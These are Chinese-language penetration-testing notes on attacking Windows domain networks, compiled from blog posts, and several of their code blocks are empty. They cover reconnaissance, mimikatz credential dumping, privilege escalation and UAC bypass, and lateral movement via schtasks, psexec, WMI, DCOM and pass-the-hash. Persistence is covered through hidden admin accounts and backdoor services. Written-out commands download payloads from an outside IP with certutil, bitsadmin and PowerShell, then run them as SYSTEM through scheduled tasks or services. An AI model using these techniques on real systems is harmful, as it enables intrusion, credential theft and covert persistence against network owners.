内网学习
信息收集
这里主要是一些命令
https://blog.csdn.net/qq_44632190/article/details/114409601
https://www.gm7.org/archives/6029
命令
基本命令
主机名
hostname查询所有计算机名称
dsquery computer查看配置及补丁信息
systeminfo``wmic qfe get description,installedOn /format:csv
查看版本
ver进程信息
tasklist /svc``wmic process get caption,executablepath,commandline /format:csv``get-process
查看所有环境变量
set查看计划任务
schtasks /QUERY /fo LIST /v查看安装驱动
DRIVERQUERY查看操作系统信息
架构
wmic os get osarchitecture系统名wmic os get caption
查看逻辑盘
wmic logicaldisk get caption查看安装的软件信息
wmic product get name,version查看服务信息
wmic service list brief``sc query``Get-WmiObject win32_service | select PathName
域信息
获取当前组的计算机名
net view网络发现
net view /all查看所有域
net view /domain域森林、域树信息
域信任信息
nltest /domain_trusts定位域控
net time /domain查看域中的用户名
dsquery user查询域组名称
net group /domain查询域管理员
net group "Domain Admins" /domain域控信息
nltest /dclist:xx``Get-NetDomain``Get-NetDomainController``net group "Domain controllers"
组策略
用户信息
查看用户
net user``whoami/whoami /priv/whoami /all``wmic useraccount get /ALL /format:csv
用户特权信息
whoami /priv查看当前权限
net localgroup administrators查看在线用户
quser/qwinsta/query user查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域
net config WorkstationACL 信息
get-acl
网络信息
内网网段信息
网卡信息
ipconfig外网出口
ARP表
arp -a路由表
route print监听的端口
netstat -ano连接的端口
端口信息
Get-NetTCPConnection
hosts文件
主备 DNS
DNS缓存
ipconfig /displaydns``Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache
探测出网情况
powershell -c “1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(‘allports.exposed’,$)) $ } 2>$null”
防火墙
- 查看防火墙状态
netsh advfirewall show allprofiles - 防火墙日志目录
netsh firewall show logging - 防火墙规则
netsh advfirewall firewall show rule name=all netsh firewall show confignetsh firewall show state
密码信息
Windows RDP连接记录
浏览器中保存的账号密码
系统密码管理器中的各种密码
无人值守安装文件中的密码信息
C:\sysprep.inf``C:\sysprep\sysprep.xml``C:\Windows\Panther\Unattend\Unattended.xml``C:\Windows\Panther\Unattended.xml
票据信息
cmdkey /l- klist
- msf meterpreter
特殊文件
文档
xlsx / xlsdocx / docpptx / pptvsdx / vsdmd / txt
压缩文件
zip / rar / 7z
VPN配置
ovpn
代码
py / php / jsp / aspx / asp / sql
配置文件
conf / ini / xml
特定关键字
账号 / 账户 / 登录 / login / user密码 / pass代码 / 文档 / 交接 / 备份 / git / svn邮箱 / 通讯录 / 集群 / 办公代理 / 内网 / VPN设备 / 资产系统 / 运维 / 拓扑 / 网络 / IT后台 / 管理员 / 数据库监控 / 隔离 / 防火墙 / 网闸 / 巡检
局域网存活主机
- NetBIOS扫描
- OXID扫描
其他
启用的共享文件夹
回收站
最近运行的命令
访问文件历史记录
查看补丁安装情况
wmic qfe get Caption,Description,HotFixID,InstalledOn
日志与事件信息
wevtutil``eventvwr
注册表信息
reg
安装的各类 agent 监控软件
安装的杀毒软件
查看/设置后缀关联
assoc``assoc .ext=example
PowerShell 版本
.Net 版本
Wi-Fi 密码
域内资源探测(内网信息收集)
https://www.cnblogs.com/arrest/articles/17690689.html
前言:在内网滲透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。
0x01:发现内网存活主机
可以根据当前滲透环境,选用 ICMP、 NetBIOS、 UDP、 ARP、 SNMP、 SMB等多种网络协议。按照协议类型,下面介绍使用常见工具来发现内网存活主机的方法。
1.基于ICMP 发现存活主机
ICMP (Internet ControlMessageProtocol,因特网控制消息协议)是TCP/IP协议族的一个子协议,用于网络层的通信, 即IP 主机、路由器之间传递控制消息,提供可能发生在通信环境 中的各种问题 反馈。 通过这些信息, 管理员可以对发生的问题做出诊断,然后采取适当的措施解决。
在实际利用中,可以通过ICMP 铺环对整个网段中的每个卫地址执行ping 命令,所有能够ping 通的IP 地址即为内网中存活的主机。
在目标主机中执行以下命令,循环探测整个局域网C段中存活的主机
1 | |
2.基于 NetBIOS(网络基本输入/输出系统)协议发现存活主机
NetBIOS 提供 OSI/RM 的会话层(在 TCP/P 模型中包含在应用层中)服务,让不同计算机上运行的不同程可以在局域网中互相连接和共享数据。严格来说,NetBIOS 不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局城网都是在 NetBIos 协议的基础上工作的,操作系统可以利用 WINS 服务、广播、Lmhost 文件等模式将 NetB10S 名解析为相应的I 地址。NetBIOS 的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows 中,默认安装 TCP/IP 后会自动安装 NetBIoS。
在实际利用时,向局域网的每个IP 地址发送 NetBOOS 状态查询,可以获得主机名、 MAC 地址等信息。
NBTScan 是一款用于扫描 Windows 网络上 NetBIOS 名称的程序,用于发现内网中存活的 Windows 主机。NBTSean 可以对给定IP 范围内的每个IP 地址发送 NetBIOS 状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、 NetBIOS 计算机名、登录用户名和 MAC 地址。
将 nbtscan.exe 上传到目标主机,执行以下命令:
1 | |
探测整个局域网中存活的主机
3.基于UDP发现存活主机
UDP (User Datagram Protocol,用户数据报协议)是一种用于传输层的无连接传输的协议,为应用程序提供一种不需建立连接就可以发送封装的IP 数据包的方法。
在实际利用中,可以将一个空的 UDP 报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP 探测就马上得到一个 ICMP 端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。
Unicornscan 是 Kali Linux 平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过 UDP 协议扫描内网的存活主机:
1 | |
4.基于ARP发现存活主机
ARP (Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址來找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标 IP地址的 ARP 请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该 IP 地址和物理地址存入本机 ARP 缓存,并保留一定时间,下次请求时直接查询 ARP 缓存,以节约资源。
在实际利用中,可以向网络发送一个 ARP 请求,若目标主机处于活跃状态,则其一定会回应一个 ARP 响应,否则不会做出任何回应。
(1)ARP-Scan的利用https://github.com/QbsuranAlang/arp-scan-windows-
ARP-Scan 是一款快速、便捷的内网扫描工具,利用 ARP 发现内网中存活的主机。将工具上传到目标主机,执行以下命令,即可扫描内网中存活的主机:

(2)PowerShell的利用
Empire 滲透框架的 Invoke-ARPScan.ps1 脚本可利用 ARP 发现内网存活主机(https://github.com/EmpireProject/Empire)。使用时,需要将脚本导入执行:
1 | |
也可以将脚本放到服务器,并通过PowerShell远程加载运行:
1 | |
5.基于 SMB (Server Message Block,服务器消息块)协议发现存活主机
SMB 又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS 消息一般使用 NetBIOS 或TCP 发送,分别使用 139 或 445 端口,目前倾向于使用 445 端口。
在实际利用中,可以探测局域网中存在的 SMB 服务,从而发现内网的存活主机,多适用于 Windows 主机的发现。
CrackMapExec (简称 CME) 是一款十分强大的后滲透利用工具,在 Kali Linux 上可以直接使用 apt-get 命令进行安装。CrackMapExec 能够枚举登录用户、枚举 SMB 服关表、执行 WIRM 攻击等功能,可以帮助测试人员自动化评估大型城网络的安全性(https://github.com/Porchetta-Industries/CrackMapExec/releases)。执行以下命令:

让 eth0 获取 NAT IP
1 | |
0x02:内网端口扫描
端口是一切网络入侵的入口。通过对内网主机进行端口扫描,测试人员可以确定目标主机上开放的服务类型、服务版本,并查找相应的漏洞进行攻击。测试人员可以根据目标主机的情况,上传工具进行扫描,也可以借助内网代理或路由转发对目标主机的发起扫描。
1.利用 Telnet 探测端口
Telnet 是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet 命令可以简单测试指定的端口号是正常打开还是关闭状态:
telent

2.利用Nmap进行端口扫描
Nmgp 是一个十分强大的端口扫描工具,在实际利用中可以借助内网代理对内网主机进行端口扫描。关于 Nmap 的使用,读者可以查阅相关资料。下面仅给出几个常用的扫描命令,更多使用方法请参考 Nmap 官方手册。
执行以下命令,扫描目标主机的指定端口:
1 | |
执行以下命令,扫描目标主机开放的全部端口:
1 | |

扫描并获取目标主机指定端口上开放的服务版本:
1 | |

3.利用PowerShell进行端口扫描
NiShang 是基于 PowerShell 的渗透测试专用框架,集成了各种脚本和 Payload,广泛用于渗透测诚的各阶段。
NiShang 的 Scan 模块中也有一个 Invoke-PortsCan.psl 脚本,可以用来对主机进行端口扫描(https://github.com/samratashok/nishang)。

执行以下命令:对内网的一个主机范围执行默认的端口扫描:
1 | |
执行以下命令:对内网中的一个主机范围扫描指定的端口:
1 | |
0x03:利用MetaSploit探测内网
MetaSploit 渗透框架中内置了几款资源收集模块,可用于发现内网存活主机、探测内网服务、对目标主机进行端口扫描:
0x04:获取端口Banner信息
Banner 中可能包含一些敏感信息。通过查看端口的 Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。
1.利用 NetCat 获取端口 Banner
Netcat 是一款常用的测试工具和黑客工具,使用 NetCat 可以轻易建立任何连接,具有“瑞士军刀〞的美誉。通过指定 NetCat 的“-nv〞选项,可以在连接指定的端口时获取该端口的 Banner 信息。
1 | |
2.利用Telnet获取端口Banner
如果目标端口开放,使用 Telnet 连接后,也会返回相应的 Banner 信息
1 | |
3.利用Nmap获取获取Banner
在 Nmap 中指定脚本“-script=banner”,可以在端口扫描过程中获取端口的 Banner信息:
1 | |
用户凭据收集
https://cloud.tencent.com/developer/article/2204689
https://blog.csdn.net/weixin_53912233/article/details/132746656
获取域内单机密码和哈希值
核心工具 mimikatz
- 读取lsass进程内存(需要WDigest功能开启,会把明文密码缓存在 LSASS 进程内存中,2012以上默认关闭)
- 读取本地SAM文件
获取常见的应用软件凭据
只写一些软件提供思路
- RDP 使用mimikatz查找加密凭据和密钥解密
- Xshell
- FileZilla base64解密密码
- NaviCat 脚本解密
- 浏览器保存的登录凭据 使用HackBrowserData
- WinSCP Winscppwd工具解密
BloodHound自动化分析域环境
地址:https://github.com/SpecterOps/BloodHound
简易教程:https://www.freebuf.com/sectool/179002.html
端口转发与内网代理
端口转发工具
某些端口只对内开放,攻击者可以利用端口转发工具将只对内开放的端口转发给另一个不限制外联的接口
汇总:https://www.freebuf.com/sectool/308049.html
- LCX https://www.cnblogs.com/-mo-/p/11537339.html
- FRP(可做SOCKS代理) https://zhuanlan.zhihu.com/p/626471788
区别:
- LCX:单个端口转发 端口->端口
- FRP:使用SOCKS5代理,网络->网络
权限提升
总结:https://www.freebuf.com/articles/network/247980.html
https://www.freebuf.com/articles/network/250827.html
系统内核漏洞提权
Windows Exploit Suggester-Next Generation 地址:https://github.com/bitsadmin/wesng
教程:https://blog.csdn.net/qq_25924971/article/details/129335999
Windows-Exploit-Suggester是一个Windows提权辅助工具。该工具将目标补丁编号与 Microsoft 漏洞数据库进行比较。进而检测目标上缺失的补丁,并给出相应漏洞建议。
系统服务提权
漏洞成因:给与低权限用户可控制高权限服务的机会
AccessChk:枚举系统上存在权限缺陷的系统服务,主要用于查找用户组对服务的权限
未引用的服务路径:完整路径中包含空格且未有效包含在引号中
PowerUp:集成探测各类系统服务提权漏洞的脚本
MSI安装策略提权
漏洞成因:MSI文件提权,即任意用户以SYSTEM权限安装MSI文件造成提权。AlwaysInstallElevated是注册表的一个键值,当其值为1时候,在系统中使用Windows Installer安装任何程序,允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
https://www.cnblogs.com/MGh0st/p/16546438.html
访问令牌操纵(用户令牌窃取)
https://www.gm7.org/archives/50596
https://www.freebuf.com/articles/network/318426.html
获得目标主机的控制权限后进行进一步提权,主要通过窃取高权限用户令牌的方式
需要当前用户有SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权,这两个特权允许用户再另一个用户的安全上下文中运行代码或创建新进程
使用此特权可以将已获取的NT AUTHORITY\SYSTEM账户的访问令牌传入CreateProcessWithTokenW或CreateProcessAsUserA函数进行调用,在NT AUTHORITY\SYSTEM账户的上下文中创建新进程,以提升权限
Bypass UAC
https://cloud.tencent.com/developer/article/2005554
绕过Windows UAC机制,使非RID 500的管理员账户不许用户批准直接使用管理员令牌
UAC白名单绕过
DLL劫持
将同名恶意DLL文件写入待搜索的上一级目录中,但是DLL文件存放的目录一般位于系统可信任目录中,普通用户无写入权限
模拟可信任目录
根据可信任目录创建一个包含空格的模拟可信任目录,将一个白名单程序复制进去,配合DLL劫持,完成UAC绕过
工具
- UACME
- MetaSploit bypassuac
用户凭据操作
一些用户账户和密码被哈希加密后保存在文件里,我们找到解密后即可利用提权
枚举Unattended凭据
获取组策略凭据
Hive Nightmare
提权漏洞 标准用户能够读取SAM文件,通过暴力破解哈希值获取密码或哈希传递实现提权
Zerologon域内提权
- 通过漏洞重制域控制器密码,连接域控后导出域管理员哈希值,哈希攻击后获取SYSTEM权限
- 回复域控密码
Print Spooler 提权漏洞
PrintDemon
https://www.freebuf.com/articles/system/237629.html
将打印机端口设置为系统信任目录,打印内容写入恶意二进制文件,系统重启后会以SYSTEM权限执行未完成的任务,实现任意文件写入
PrintNightmare
Certifried域内提权
通过更改机器用户证书的dNSHostName值与域控制器的计算机账户的值相同,欺骗AD CS,申请到域控制器的AD证书,从而实现域用户管理员身份验证提权
https://whoamianony.top/posts/certifried-active-directory-domain-privilege-escalation/
内网横向移动
https://www.freebuf.com/articles/network/382754.html
https://tttang.com/archive/1890/#toc_at-schtasks-sc

横向场景

文件传输
通过网络共享
https://www.cnblogs.com/-mo-/p/11813608.html
与内网中其他主机建立IPC$共享通道,实现所有文件共享,和其他远程管理操作,包括创建计划任务或系统服务
条件:
- 远程主机开启IPC连接
- 远程主机开放445和139端口
- 获取到本机的用户凭据(建立连接时需要用户名密码)
搭建SMB服务器
https://cloud.tencent.com/developer/article/1423156
将exp传入SMB服务器的共享文件中,让横向移动的目标主机加载SMB服务器上的攻击载荷
主要用于给目标主机传输恶意脚本
windows自带工具
Certutil
Windows自带命令行工具,可以从网络中下载文件
把攻击载荷放到服务器上可以访问下载
1
certutil -urlcache -split -f http://139.129.37.190:8000/1.exe D:\1.EXE标准用户即可执行
BITSAdmin
BITSAdmin是Windows命令行工具,可以用于创建、下载或上传作业,监视其进度,WIndows7及之后版本自带此工具,具体利用指令如下
1
bitsadmin /transfer test http://IP:Port/shell.exe C:\users\shell.exePowershell
1
(New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe','C:\shell.exe')
与SMB服务器相同,都是将攻击载荷传入跳板机的手段
创建计划任务
需要对方管理员凭据和IPC通道连接
常规
利用共享连接将攻击载荷传入远程目标主机
建立IPC连接或指定用户凭据在远程主机创建计划任务,定时执行上传的攻击载荷
1
2schtasks /Create /S IP /TN 计划任务名称 /SC minute /MO 1 /TR C:\shell.exe /RU System /F
#/S 要连接的系统 /TN 指定创建的计划任务名称 /SC 指定计划任务执行频率 /MO 指定计划任务执行周期 /TR 指定计划任务运行的程序路径 /RU 指定计划任务运行的用户权限 /F 如果指定的任务存在,则强制创建(覆盖)也可以通过计划任务执行系统指令,将结果写入到文件中,然后通过type进行远程文件读取。
具体指令如下
1
schtasks /Create /S 192.168.128.131 /TN Backdoor2 /SC minute /MO 1 /TR "C\Windows\System32\cmd.exe /c 'whoami' > C:\result.txt" /RU System /F /U Administrator /P Qq123456.接下来读取即可
1
type \\192.168.128.131\C$\result.txt成功上线后删除任务
1
schtasks /DELECT /S 192.168.128.131 /TN Backdoor /F
UNC路径加载执行
WIndows系统中使用UNC路径来访问网络共享资源
创建计划任务访问SMB服务器上的攻击载荷
1 | |
利用系统服务
需要拥有两端主机的管理员权限和IPC连接
创建远程服务
上传攻击载荷
创建系统服务
1
2
3
4sc \\192.168.128.131 create Backdoor binpath="cmd.exe /k C:\abc.exe"
#binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格
sc \\192.168.128.131 start Backdoor
SCShell
https://www.cnblogs.com/micr067/p/14126570.html
无文件横向移动工具,需要管理员用户凭据,可以更改远程主机服务的二进制路径为指定攻击载荷
UAC Remote Restrictions
本地用户帐户(安全帐户管理器用户帐户)
例如,当作为目标远程计算机上的本地管理员组成员的用户使用 net use *\\remotecomputer\Share$ 命令建立远程管理连接时,他们不会作为完全管理员进行连接。 用户在远程计算机上没有提升潜力,用户无法执行管理任务。 如果用户想要使用安全帐户管理器(SAM)帐户管理工作站,则如果用户必须以交互方式登录到要通过远程协助或远程桌面管理的计算机(如果这些服务可用)。
域用户帐户(Active Directory 用户帐户)
具有域用户帐户的用户远程登录到 Windows Vista 计算机。 并且,域用户是管理员组的成员。 在这种情况下,域用户将在远程计算机上使用完全管理员访问令牌运行,并且 UAC 不会生效。
需要管理员身份执行此命令重启关闭UAC Remote Restrictions
1 | |
远程桌面利用
端口:TCP3389
可能将已登录用户强制退出,容易被发现
远程桌面协议(Remote Desktop Protocol,RDP)
查询注册表确定是否主机开启了远程桌面
1 | |
开启远程桌面
1 | |
对于远程主机,可以通过WMI来开启远程桌面功能
1 | |
RDP Hijack
Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。
可以通过query user来列出所有登录的用户列表,得到id
在SYSTEM权限下,使用**tscon
sharp RDP
https://github.com/0xthirteen/SharpRDP
sharp rdp可以通过远程桌面协议在远程主机上执行系统命令,且不需要GUI客户端。
工具需要远程主机开启远程桌面功能,且防火墙放行3389端口
SMB协议的利用
psexec
psExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。该工具在MSF框架中也有集成。
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。
PsExec的基本原理:
- 通过ipc$连接,释放二进制文件psexecsvc.exe到目标
- 通过服务管理SCManager远程创建一个psexec服务,并启动服务
- 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
- 运行结束后删除服务
psexec的使用前提:
- 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
- 对方未开启防火墙或放行445端口
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
用法:
1 | |
如果已经建立IPC连接,那么可以直接使用psexec连接远程主机
1 | |
或者不提取shell,直接用目标系统的cmd.exe的/c选项在目标主机上执行命令,并得到回显(与前面的at命令相似)
1 | |
smbexec
无需先 ipc 链接, 明文或 hash 传递(第三方库)
1 | |
WMI的利用
WMI(Windows Management Instrumentation,Windows管理规范)时一项核心的Windows管理技术。用户可以通过WMI管理本地和远程主机。
Windows为传输WMI数据提供了两个可用的协议:分布式组件对象模型(Distributed Component Object Model, DCOM)和Windows远程管理(Window Remote Management,WinRM)使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能远程运行。
在横向移动时,可以利用WMI提供的管理功能,通过以获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前两种常见的利用方法:
1、 通过调用WMI的类方法进行远程调用,如Win32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类的Install方法可以在远程主机上安装恶意的MSI
2、 远程部署WMI事件订阅,在特定事件发生时触发
利用WMI进行横向移动需要具备以下条件:
1、远程主机的WMI服务为开启状态(默认开启)
2、远程主机防火墙放行135端口,这是WMI管理的默认端口
常规利用方法
执行远程查询
通过WMI查询远程主机上运行的进程信息
1 | |
创建远程进程
通过调用Win32_Process.Create方法在远程主机上创建进程,启动CMD来执行命令
由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件
1 | |
读取文件
1 | |
远程安装MSI文件
使用msf生成恶意msi文件
1 | |
将恶意文件传入SMB服务器共享文件
通过调用Win32_Product.Install方法,可以控制远程主机安装恶意MSI文件,从而获得权限
1 | |
常见利用工具
WmiExec(交互式/半交互式)
Impacket项目的Wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。该工机需要远程主机开启135和445端口,其中445端口用于传输命令执行的回显。
1 | |
在Windows平台上使用,可通过PyInstaller,将wmiexec.py打包成独立的EXE可执行文件
1 | |
打包完成后将exe文件上传到windows主机运行
1 | |
WMI事件订阅的利用
WMI提供了强大的事件处理系统,几乎可以用于操作系统上发生的任何事件做出相应。
当创建某进程时,通过WMI事件订阅器来执行预先设置的脚本。
其中触发事件的具体条件被称为“事件过滤器”(Event Filter),如用户登录、新进程创建等;对指定事件发生做出相应的称为“事件消费者”(Event Consumer),包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。
在部署事件订阅时,需要分别构建Filter和Consumer两部分,并将两者绑定在一起。
所有的事件过滤器都被存储在一个Root\subscription:__EventFiilter对象的实例,可以通过创建**__EventFilter对象实例来部署事件过滤器。事件消费者是基于ROOT\subscription:__EventConsumer系统类**派生来的类。
系统提供了常用的标准事件消费类
1 | |
手动利用
创建一个__EventFilter类的实例和一个和CommandLineEventConsumer的实例绑定在一起,部署一个事件订阅
Sharp-WMIEvent
https://github.com/wh0Nsq/Sharp-WMIEvent
搭建SMB共享服务器,将攻击载荷传入共享目录
在远程主机上部署一个随即命名的永久事件订阅,并每隔60s执行以此SMB共享中的攻击载荷
1 | |
DCOM利用
COM(Component Object Model,组件对象模型)是微软的一套软件组成的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其它进程中,甚至可以在远程计算机中。在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。
DCOM(Distracted Component Model,分布式组件对象模型)是基于COM的一系列概念和程序接口,支持不同机器上的组件间通信。利用DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。
COM本地组件调用,DCOM远程组件调用
通过DCOM进行横向移动
部分DCOM组件公开的接口中可能包含不安全的方法。执行以下命令,可以列出计算机上所有的DCOM程序组件
1 | |
目前常利用的DCOM组件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。
使用DCOM在远程主机上面执行命令,需要具有以下条件:
- 具有管理员权限的PowerShell
- 可能需要关闭目标系统的防火墙
- 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
MMC20.Application
搭建SMB匿名共享服务,将生成的攻击载荷放入共享目录
MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。
1 | |
执行成功MMC20.Application会启动mmc.exe进程,通过ExecuteShellCommand创建reverse_tcp.exe的子进程
ShellWindows
ShellWindows组件提供了Document.Application.ShellExecute方法,适用于Windows7及以上的系统。
1 | |
执行成功后不会创建新进程,会在原有的explore.exe进程中创建子进程shell.exe,不容易被发现
ShellBrowserWindow
使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。
1 | |
同样会在原有的explore.exe进程中创建子进程shell.exe,不容易被发现
Impacket里的dcomexec.py脚本
Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
命令格式如下:
1 | |
WinRM的利用
WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,在另一台计算机便能通过WinRM对其进行远程管理了。
只有在Windows Server 2008以上版本的服务器中,WinRm服务才会自动启动。
在利用WinRM进行横向移动时,需要拥有远程主机的管理员凭据信息。
通过WinRM执行远程命令
Windows远程管理提供了两个工具:
① Winrs,允许远程执行命令的命令行工具,利用了WS-Manage协议
② Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务。
在默认情况下,无法通过WinRM连接到目标系统。可能出现错误:Winrs error:WinRM客户端无法处理该请求。可以将默认身份验证与IP地址结合使用:
① 传输为HTTPS或目标位于TrustedHosts列表中,并且提供显式凭据
② 使用Winrm.cmd配置TrustedHosts。
执行以下命令,将目标地址添加到TrustedHosts中:
1 | |
Winrs
winrs是Windows上远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行命令。要求通信双方都安装了WinRM服务。
1 | |
Winrm.cmd
winrm.cmd允许WMI对象通过WinRm传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。比如可以通过调用Win32_Process类的Create方法来创建远程实例。
1 | |
通过WinRM获取交互式会话
Evil-Winrm
一个自动化工具
https://github.com/Hackplayers/evil-winrm
通过powershell获取
PTH&PTK&PTT(hash、key、ticket传递)
https://www.cnblogs.com/hellobao/articles/17262423.html
1 | |
PTH和PTK
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击
1 | |
总结:KB2871997 补丁后的影响
https://www.freebuf.com/column/220740.html
PTH:打补丁前任意用户都可以连接,打了补丁后只能 administrator 用户才可以连接
PTK:打补丁前不能连接,打补丁后才能任意用户都可以连接(采用 aes256 连接)

PTT-票据传递
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,三种常见的攻击方法:
MS14-068,Golden ticket,SILVER ticket。简单来说就是将连接合法的票据注入到内存中实现连接。
Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是 kb3011780
PTH
利用Mimikatz进行PTH
Mimikatz内置了哈希传递的功能,需要本地管理员权限。
① 抓取用户的哈希
1 | |
② 利用抓取的域管理员的NTLM hash进行哈希传递
1 | |
利用impacket进行PTH
Impacket项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有:
1 | |
用法:
1 | |
PTK aes256 传递
打补丁后的工作组及域连接:
1 | |
PTT 票据传递
需要先了解kerberos认证原理,及金票银票等,放在kerberos的章节
权限持久化
https://www.cnblogs.com/starme/p/18496419
常见系统后门技术
创建影子账户
影子账户即隐藏的账户,无论通过”计算机管理”还是命令行查询都无法看到,只能在注册表中找到其信息。一般是创建具有管理员权限的影子账户,在主机上实现权限维持。下面是创建影子账户的方法:
① 创建一个名为”Hacker$”的账户
1 | |
通过命令行无法查到:
但是通过计算机管理(compmgmt.msc)的用户和组以及控制面板可以看到:
此时Hacker$为标准用户,为了使其拥有管理员权限,需要修改注册表:
② 在注册表HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的快捷菜单中选择“权限”命令,将Administrator用户的权限设置为“完全控制”。如下图:

③ 在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 处选择Administrator用户,在左侧找到与右边显示的键值的类型“0xlf4”相同的目录名,如下图:
在完成了第②步后重新打开注册表编辑器,即可出现HKEY_LOCAL_MACHINE\SAM\SAM\Domains目录

复制000001F4表项的F属性的值
④ 以相同方法找到与隐藏账户Hacker$相应的目录,将复制的000001F4表项中的F属性值粘贴到000003F7(隐藏账户Hacker$对应的目录)表项的F属性值处,并确认
粘贴后:

以上过程其实是Hacker$用户劫持了Administator用户的RID,从而使Hacker$用户获得Administrator用户的权限
RID:在Windows操作系统中,RID代表”Relative Identifier”,即相对标识符。RID是Windows中用于唯一标识用户、组和计算机账户的一个数字。每个安全主体(如用户或组)在Windows的安全标识符(SID)中都包含一个RID部分
⑤ 分别选中注册表项”Hacker$”和”000003F7”并导出

同样的,导出“Hacker$”:

然后执行命令:
1 | |
⑥ 重新打开注册表,将刚才导出的两个注册表项导入注册表中即可,如下图:

至此,真正的影子账户Hacker$就创建好了,无论是查看本地用户和组,还是通过命令行查询都看不到该账户,只有在注册表中才能查看该账户的信息
对于启动类型为“自动”的系统服务,测试人员可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,在系统或服务重启时,可以重新获得对目标主机的控制权。不过,需要拥有管理员权限。
系统服务后门
创建系统服务
执行:
highlighter- mipsasm
1 | |
利用现有的系统服务
可以通过”sc config”命令修改服务的binpath选项,也可以尝试修改注册表的ImagePath键,二者都直接指定了相应服务的启动时运行的二进制文件。相关利用方法在权限提升专题提及
利用svchost.exe启动服务
svchost.exe(服务主机)是 Windows 系统中的一个进程,允许操作系统以进程的形式运行多个 Windows 服务。每个 svchost.exe 实例通常负责不同的服务集合,这样可以有效管理资源和提高系统稳定性。
① 制作一个DLL文件
highlighter- routeros
1 | |
② 将生成的DLL上传到System32目录并执行:(安装并配置恶意服务)
highlighter- taggerscript
1 | |
当系统重启时,Svchost以system权限加载恶意服务,目标主机将重新上线
同样的,在攻击机上做好监听
计划任务后门
